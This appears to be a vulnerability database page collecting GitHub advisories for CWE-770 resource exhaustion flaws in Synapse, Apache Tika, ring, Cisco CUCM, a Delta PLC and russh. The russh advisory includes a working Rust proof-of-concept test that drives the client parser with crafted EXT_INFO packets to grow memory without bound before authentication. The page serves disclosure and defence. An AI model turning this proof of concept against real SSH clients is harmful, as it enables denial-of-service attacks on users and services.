CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
4344 vulnerabilities reference this CWE, most recent first.
GHSA-4MHG-XV73-XQ2X
Vulnerability from github – Published: 2024-12-03 18:39 – Updated: 2026-06-06 00:28Impact
Synapse versions before 1.106 are vulnerable to a disk fill attack, where an unauthenticated adversary can induce Synapse to download and cache large amounts of remote media. The default rate limit strategy is insufficient to mitigate this. This can lead to a denial of service, ranging from further media uploads/downloads failing to completely unavailability of the Synapse process, depending on how Synapse was deployed.
Patches
Synapse 1.106 introduces a new "leaky bucket" rate limit on remote media downloads to reduce the amount of data a user can request at a time. This does not fully address the issue, but does limit an unauthenticated user's ability to request large amounts of data to be cached.
Workarounds
Synapse deployments can currently decrease the maximum file size allowed, as well as increase request rate limits. However, this does not as effectively address the issue as a dedicated rate limit on remote media downloads.
Server operators may also wish to consider putting media on a dedicated disk or volume, reducing the impact of a disk fill condition.
References
- https://en.wikipedia.org/wiki/Leaky_bucket#As_a_meter
For more information
If you have any questions or comments about this advisory, please email us at security at element.io.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "matrix-synapse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.106"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37302"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-03T18:39:12Z",
"nvd_published_at": "2024-12-03T17:15:10Z",
"severity": "HIGH"
},
"details": "### Impact\n\nSynapse versions before 1.106 are vulnerable to a disk fill attack, where an unauthenticated adversary can induce Synapse to download and cache large amounts of remote media. The default rate limit strategy is insufficient to mitigate this. This can lead to a denial of service, ranging from further media uploads/downloads failing to completely unavailability of the Synapse process, depending on how Synapse was deployed.\n\n### Patches\n\nSynapse 1.106 introduces a new \"leaky bucket\" rate limit on remote media downloads to reduce the amount of data a user can request at a time. This does not fully address the issue, but does limit an unauthenticated user\u0027s ability to request large amounts of data to be cached.\n\n### Workarounds\n\nSynapse deployments can currently decrease the maximum file size allowed, as well as increase request rate limits. However, this does not as effectively address the issue as a dedicated rate limit on remote media downloads.\n\nServer operators may also wish to consider putting media on a dedicated disk or volume, reducing the impact of a disk fill condition.\n\n### References\n\n* https://en.wikipedia.org/wiki/Leaky_bucket#As_a_meter\n\n### For more information\n\nIf you have any questions or comments about this advisory, please email us at [security at element.io](mailto:security@element.io).",
"id": "GHSA-4mhg-xv73-xq2x",
"modified": "2026-06-06T00:28:48Z",
"published": "2024-12-03T18:39:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/element-hq/synapse/security/advisories/GHSA-4mhg-xv73-xq2x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37302"
},
{
"type": "PACKAGE",
"url": "https://github.com/element-hq/synapse"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-synapse/PYSEC-2024-286.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Synapse denial of service through media disk space consumption"
}
GHSA-4MQ5-MJ59-QQ9C
Vulnerability from github – Published: 2019-08-06 01:43 – Updated: 2021-05-05 22:55In Apache Tika 1.19 to 1.21, a carefully crafted 2003ml or 2006ml file could consume all available SAXParsers in the pool and lead to very long hangs. Apache Tika users should upgrade to 1.22 or later.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tika:tika-parsers"
},
"ranges": [
{
"events": [
{
"introduced": "1.19"
},
{
"fixed": "1.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10093"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2019-08-06T01:42:09Z",
"nvd_published_at": "2019-08-02T19:15:00Z",
"severity": "MODERATE"
},
"details": "In Apache Tika 1.19 to 1.21, a carefully crafted 2003ml or 2006ml file could consume all available SAXParsers in the pool and lead to very long hangs. Apache Tika users should upgrade to 1.22 or later.",
"id": "GHSA-4mq5-mj59-qq9c",
"modified": "2021-05-05T22:55:27Z",
"published": "2019-08-06T01:43:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10093"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/39723d8227b248781898c200aa24b154683673287b150a204b83787d@%3Cdev.tika.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/a5a44eff1b9eda3bc69d22943a1030c43d376380c75d3ab04d0c1a21@%3Cdev.tika.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/da9ee189d1756f8508d0f2386d8e25aca5a6df541739829232be8a94@%3Cdev.tika.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/fb6c84fd387de997e5e366d50b0ca331a328c466432c80f8c5eed33d@%3Cdev.tika.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r204ba2a9ea750f38d789d2bb429cc0925ad6133deea7cbc3001d96b5@%3Csolr-user.lucene.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190828-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2020.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits or Throttling in Apache Tika"
}
GHSA-4MXR-9XW9-9CR4
Vulnerability from github – Published: 2026-06-30 09:31 – Updated: 2026-06-30 09:31Delta Electronics DVP12SE PLCs are susceptible to a resource allocation vulnerability without limits or throttling (CWE-770) within their Modbus TCP service.
{
"affected": [],
"aliases": [
"CVE-2026-12818"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T07:16:31Z",
"severity": "CRITICAL"
},
"details": "Delta Electronics DVP12SE PLCs are susceptible to a resource allocation vulnerability without limits or throttling (CWE-770) within their Modbus TCP service.",
"id": "GHSA-4mxr-9xw9-9cr4",
"modified": "2026-06-30T09:31:35Z",
"published": "2026-06-30T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12818"
},
{
"type": "WEB",
"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2026-00011_DVP12SE%20Multiple%20Vulnerabilities%20(CVE-2026-12818,%20CVE-2026-12819)_v1.0.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4P46-PWFR-66X6
Vulnerability from github – Published: 2025-03-07 16:23 – Updated: 2025-12-29 21:37ring::aead::quic::HeaderProtectionKey::new_mask() may panic when overflow checking is enabled. In the QUIC protocol, an attacker can induce this panic by sending a specially-crafted packet. Even unintentionally it is likely to occur in 1 out of every 2**32 packets sent and/or received.
On 64-bit targets operations using ring::aead::{AES_128_GCM, AES_256_GCM} may panic when overflow checking is enabled, when encrypting/decrypting approximately 68,719,476,700 bytes (about 64 gigabytes) of data in a single chunk. Protocols like TLS and SSH are not affected by this because those protocols break large amounts of data into small chunks. Similarly, most applications will not attempt to encrypt/decrypt 64GB of data in one chunk.
Overflow checking is not enabled in release mode by default, but RUSTFLAGS="-C overflow-checks" or overflow-checks = true in the Cargo.toml profile can override this. Overflow checking is usually enabled by default in debug mode.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "ring"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-4432"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-07T16:23:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`ring::aead::quic::HeaderProtectionKey::new_mask()` may panic when overflow checking is enabled. In the QUIC protocol, an attacker can induce this panic by sending a specially-crafted packet. Even unintentionally it is likely to occur in 1 out of every 2**32 packets sent and/or received.\n\nOn 64-bit targets operations using `ring::aead::{AES_128_GCM, AES_256_GCM}` may panic when overflow checking is enabled, when encrypting/decrypting approximately 68,719,476,700 bytes (about 64 gigabytes) of data in a single chunk. Protocols like TLS and SSH are not affected by this because those protocols break large amounts of data into small chunks. Similarly, most applications will not attempt to encrypt/decrypt 64GB of data in one chunk.\n\nOverflow checking is not enabled in release mode by default, but `RUSTFLAGS=\"-C overflow-checks\"` or `overflow-checks = true` in the Cargo.toml profile can override this. Overflow checking is usually enabled by default in debug mode.",
"id": "GHSA-4p46-pwfr-66x6",
"modified": "2025-12-29T21:37:23Z",
"published": "2025-03-07T16:23:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4432"
},
{
"type": "WEB",
"url": "https://github.com/briansmith/ring/pull/2447"
},
{
"type": "WEB",
"url": "https://github.com/briansmith/ring/commit/ec2d3cf1d91f148c84e4806b4f0b3c98f6df3b38"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-4432"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2350655"
},
{
"type": "PACKAGE",
"url": "https://github.com/briansmith/ring"
},
{
"type": "WEB",
"url": "https://github.com/briansmith/ring/blob/main/RELEASES.md#version-01712-2025-03-05"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0009.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Some AES functions may panic when overflow checking is enabled in ring"
}
GHSA-4P6P-3H4P-27FP
Vulnerability from github – Published: 2022-05-02 03:31 – Updated: 2022-05-02 03:31Cisco Unified Communications Manager (aka CUCM, formerly CallManager) 4.x, 5.x before 5.1(3g), 6.x before 6.1(4), 7.0 before 7.0(2a)su1, and 7.1 before 7.1(2a)su1 allows remote attackers to cause a denial of service (file-descriptor exhaustion and SIP outage) via a flood of TCP packets, aka Bug ID CSCsx23689.
{
"affected": [],
"aliases": [
"CVE-2009-2054"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-08-27T17:00:00Z",
"severity": "HIGH"
},
"details": "Cisco Unified Communications Manager (aka CUCM, formerly CallManager) 4.x, 5.x before 5.1(3g), 6.x before 6.1(4), 7.0 before 7.0(2a)su1, and 7.1 before 7.1(2a)su1 allows remote attackers to cause a denial of service (file-descriptor exhaustion and SIP outage) via a flood of TCP packets, aka Bug ID CSCsx23689.",
"id": "GHSA-4p6p-3h4p-27fp",
"modified": "2022-05-02T03:31:16Z",
"published": "2022-05-02T03:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2054"
},
{
"type": "WEB",
"url": "http://osvdb.org/57456"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36498"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36499"
},
{
"type": "WEB",
"url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080af2d11.shtml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36152"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1022775"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4P9F-7P9M-5VFG
Vulnerability from github – Published: 2026-10-30 22:58 – Updated: 2026-10-30 22:58Summary
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment. Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (Session::process_packet handling handle_ext_info) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution.
russh's client stores every extension name it parses out of an EXT_INFO packet into a per-session vector and never clears, caps, or deduplicates it (russh/src/client/encrypted.rs:433, field declared at russh/src/session.rs:60). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client's memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts EXT_INFO in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes EXT_INFO as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it.
Details
The handler appends every parsed extension name to the session state with no bound:
russh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)
enc.received_extensions.push(name.clone()); // no cap, no dedup
russh/src/session.rs:60
pub received_extensions: Vec<String>, // lives for the whole session
The state machine routes EXT_INFO to this handler in both the WaitingAuthServiceRequest and WaitingAuthRequest states (encrypted.rs:111, encrypted.rs:401), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh's private constant msg::EXT_INFO = 7 (russh/src/msg.rs:32, in place since 2022), while RFC 8308 assigns EXT_INFO the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected.
Proof of concept
The harness constructs a real client Session in the WaitingAuthRequest pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine Session::process_packet dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of USERAUTH_BANNER bodies, which parse and dispatch without retention. The test below is added to the russh source tree as russh/src/client/extinfo_poc.rs, with two lines added to russh/src/client/mod.rs next to the existing test module declarations:
#[cfg(test)]
mod extinfo_poc;
cat > russh/src/client/extinfo_poc.rs <<'EOF'
//! PoC: unbounded pre-auth client memory growth
//! via repeated EXT_INFO packets (`received_extensions` accumulates without
//! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info).
//!
//! Drives the REAL client packet parser (Session::process_packet ->
//! handle_ext_info) with attacker-supplied packet bodies over an unmodified
//! client session in the pre-auth state (WaitingAuthRequest). Measuring
//! allocator totals proves the growth is persistent and unbounded across
//! packets. Control leg: equal traffic of IGNORE packets.
//!
//! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture
use std::alloc::{GlobalAlloc, Layout, System};
use std::collections::HashMap;
use std::num::Wrapping;
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use tokio::sync::mpsc::{channel, unbounded_channel};
use super::*;
use crate::auth::{AuthRequest, Method};
use crate::compression::{Compression, Decompress};
use crate::kex::{KEXES, NONE};
use crate::msg;
use crate::session::{CommonSession, Encrypted, EncryptedState, Exchange};
use crate::sshbuffer::PacketWriter;
use crate::{cipher, CryptoVec, mac};
static LIVE: AtomicU64 = AtomicU64::new(0);
struct Counting;
unsafe impl GlobalAlloc for Counting {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
let p = System.alloc(layout);
if !p.is_null() {
LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);
}
p
}
unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {
LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);
System.dealloc(p, layout)
}
}
#[global_allocator]
static POC_ALLOC: Counting = Counting;
fn live_mb() -> f64 {
LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)
}
struct PocHandler;
impl Handler for PocHandler {
type Error = crate::Error;
async fn check_server_key(
&mut self,
_: &PublicKeyOrCertificate,
) -> Result<bool, Self::Error> {
Ok(true)
}
}
fn poc_session() -> Session {
let config = Arc::new(Config::default());
let (sender, receiver) = channel(config.channel_buffer_size);
let (reply_sender, _reply_receiver) = unbounded_channel();
let auth_request = AuthRequest::new(&Method::KeyboardInteractive {
submethods: String::new(),
});
Session::new(
config.window_size,
CommonSession {
auth_user: "victimuser".to_owned(),
auth_attempts: 0,
auth_method: Some(Method::KeyboardInteractive {
submethods: String::new(),
}),
remote_to_local: Box::new(cipher::clear::Key),
encrypted: Some(Encrypted {
state: EncryptedState::WaitingAuthRequest(auth_request),
exchange: Some(Exchange::default()),
kex: KEXES.get(&NONE).unwrap().make(),
key: 0,
client_mac: mac::NONE,
server_mac: mac::NONE,
session_id: CryptoVec::new(),
channels: HashMap::new(),
last_channel_id: Wrapping(0),
write: Vec::new(),
write_cursor: 0,
last_rekey: russh_util::time::Instant::now(),
server_compression: Compression::None,
client_compression: Compression::None,
decompress: Decompress::None,
rekey_wanted: false,
received_extensions: Vec::new(),
extension_info_awaiters: HashMap::new(),
}),
config,
wants_reply: false,
disconnected: false,
buffer: Vec::new(),
strict_kex: false,
alive_timeouts: 0,
received_data: false,
remote_sshid: b"SSH-2.0-auditpeer".to_vec(),
packet_writer: PacketWriter::clear(),
},
receiver,
reply_sender,
)
}
/// EXT_INFO packet body (russh msg number 7): u32 count, then per extension
/// a name string plus a data blob. Minimal entry = name "x" (5 B) + data
/// empty (4 B) = 9 wire bytes.
fn ext_info_body(entries: usize) -> Vec<u8> {
let mut b = vec![msg::EXT_INFO];
b.extend_from_slice(&(entries as u32).to_be_bytes());
for _ in 0..entries {
b.extend_from_slice(&1u32.to_be_bytes());
b.push(b'x');
b.extend_from_slice(&0u32.to_be_bytes());
}
b
}
#[tokio::test]
async fn ext_info_reception_grows_memory_without_bound() {
let mut handler = PocHandler;
// ---- control leg: equal packet volume of USERAUTH_BANNER ----
// (IGNORE is a hard disconnect in this state; banners parse and are
// forwarded to the handler without retention)
let mut session = poc_session();
let banner_body = {
let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size
let mut b = vec![msg::USERAUTH_BANNER];
b.extend_from_slice(&(data_len as u32).to_be_bytes());
b.resize(1 + 4 + data_len, b'b');
b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag
b
};
let c0 = live_mb();
for _ in 0..400 {
session
.process_packet(&mut handler, &banner_body)
.await
.expect("control packet");
}
let control_delta = live_mb() - c0;
// ---- attack leg: 400 EXT_INFO packets, 3000 entries each ----
let mut session = poc_session();
let body = ext_info_body(3000); // ~27 KB per packet
let a0 = live_mb();
for i in 0..400 {
session
.process_packet(&mut handler, &body)
.await
.expect("ext_info packet");
if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 {
let n = session
.common
.encrypted
.as_ref()
.map(|e| e.received_extensions.len())
.unwrap_or(0);
println!(
"EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB",
i + 1,
n,
live_mb() - a0 + c0 // keep numbers comparable per-process
);
}
}
let attack_delta = live_mb() - a0;
let n = session
.common
.encrypted
.as_ref()
.map(|e| e.received_extensions.len())
.unwrap_or(0);
println!(
"CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB",
banner_body.len() / 1024,
control_delta
);
println!(
"ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB",
n, attack_delta
);
println!(
"amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)",
attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64),
body.len() / 1024
);
assert_eq!(
n, 1_200_000,
"every parsed extension name was retained, none were dropped"
);
if attack_delta > 10.0 {
println!(
"VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth",
attack_delta, control_delta
);
} else {
println!(
"VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold",
attack_delta
);
}
}
EOF
cargo test -p russh --lib extinfo_poc --release -- --nocapture
Captured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted):
$ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture
Compiling russh v0.64.1
Finished `release` profile [optimized] target(s) in 1m 26s
Running unittests src\lib.rs (target\release\deps\russh-9b39fa40a3078d82.exe)
running 1 test
EXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB
EXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB
EXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB
EXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB
EXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB
CONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB
ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB
amplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth)
VERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth
test client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s
Output interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict.
Impact
Unrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of received_extensions (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the EXT_INFO message number with RFC 8308 (82) so the handler is unreachable by accident.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.65"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116773"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:58:39Z",
"nvd_published_at": "2026-10-27T21:18:05Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n**All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.** Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (`Session::process_packet` handling `handle_ext_info`) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution.\n\nrussh\u0027s client stores every extension name it parses out of an `EXT_INFO` packet into a per-session vector and never clears, caps, or deduplicates it (`russh/src/client/encrypted.rs:433`, field declared at `russh/src/session.rs:60`). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client\u0027s memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts `EXT_INFO` in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes `EXT_INFO` as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it.\n\n### Details\n\nThe handler appends every parsed extension name to the session state with no bound:\n\n```text\nrussh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)\n enc.received_extensions.push(name.clone()); // no cap, no dedup\nrussh/src/session.rs:60\n pub received_extensions: Vec\u003cString\u003e, // lives for the whole session\n```\n\nThe state machine routes `EXT_INFO` to this handler in both the `WaitingAuthServiceRequest` and `WaitingAuthRequest` states (`encrypted.rs:111`, `encrypted.rs:401`), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh\u0027s private constant `msg::EXT_INFO = 7` (`russh/src/msg.rs:32`, in place since 2022), while RFC 8308 assigns `EXT_INFO` the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected.\n\n### Proof of concept\n\nThe harness constructs a real client `Session` in the `WaitingAuthRequest` pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine `Session::process_packet` dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of `USERAUTH_BANNER` bodies, which parse and dispatch without retention. The test below is added to the russh source tree as `russh/src/client/extinfo_poc.rs`, with two lines added to `russh/src/client/mod.rs` next to the existing test module declarations:\n\n```rust\n#[cfg(test)]\nmod extinfo_poc;\n```\n\n```rust\ncat \u003e russh/src/client/extinfo_poc.rs \u003c\u003c\u0027EOF\u0027\n//! PoC: unbounded pre-auth client memory growth\n//! via repeated EXT_INFO packets (`received_extensions` accumulates without\n//! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info).\n//!\n//! Drives the REAL client packet parser (Session::process_packet -\u003e\n//! handle_ext_info) with attacker-supplied packet bodies over an unmodified\n//! client session in the pre-auth state (WaitingAuthRequest). Measuring\n//! allocator totals proves the growth is persistent and unbounded across\n//! packets. Control leg: equal traffic of IGNORE packets.\n//!\n//! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture\n\nuse std::alloc::{GlobalAlloc, Layout, System};\nuse std::collections::HashMap;\nuse std::num::Wrapping;\nuse std::sync::atomic::{AtomicU64, Ordering};\nuse std::sync::Arc;\n\nuse tokio::sync::mpsc::{channel, unbounded_channel};\n\nuse super::*;\nuse crate::auth::{AuthRequest, Method};\nuse crate::compression::{Compression, Decompress};\nuse crate::kex::{KEXES, NONE};\nuse crate::msg;\nuse crate::session::{CommonSession, Encrypted, EncryptedState, Exchange};\nuse crate::sshbuffer::PacketWriter;\nuse crate::{cipher, CryptoVec, mac};\n\nstatic LIVE: AtomicU64 = AtomicU64::new(0);\n\nstruct Counting;\n\nunsafe impl GlobalAlloc for Counting {\n unsafe fn alloc(\u0026self, layout: Layout) -\u003e *mut u8 {\n let p = System.alloc(layout);\n if !p.is_null() {\n LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);\n }\n p\n }\n unsafe fn dealloc(\u0026self, p: *mut u8, layout: Layout) {\n LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);\n System.dealloc(p, layout)\n }\n}\n\n#[global_allocator]\nstatic POC_ALLOC: Counting = Counting;\n\nfn live_mb() -\u003e f64 {\n LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)\n}\n\nstruct PocHandler;\n\nimpl Handler for PocHandler {\n type Error = crate::Error;\n\n async fn check_server_key(\n \u0026mut self,\n _: \u0026PublicKeyOrCertificate,\n ) -\u003e Result\u003cbool, Self::Error\u003e {\n Ok(true)\n }\n}\n\nfn poc_session() -\u003e Session {\n let config = Arc::new(Config::default());\n let (sender, receiver) = channel(config.channel_buffer_size);\n let (reply_sender, _reply_receiver) = unbounded_channel();\n let auth_request = AuthRequest::new(\u0026Method::KeyboardInteractive {\n submethods: String::new(),\n });\n Session::new(\n config.window_size,\n CommonSession {\n auth_user: \"victimuser\".to_owned(),\n auth_attempts: 0,\n auth_method: Some(Method::KeyboardInteractive {\n submethods: String::new(),\n }),\n 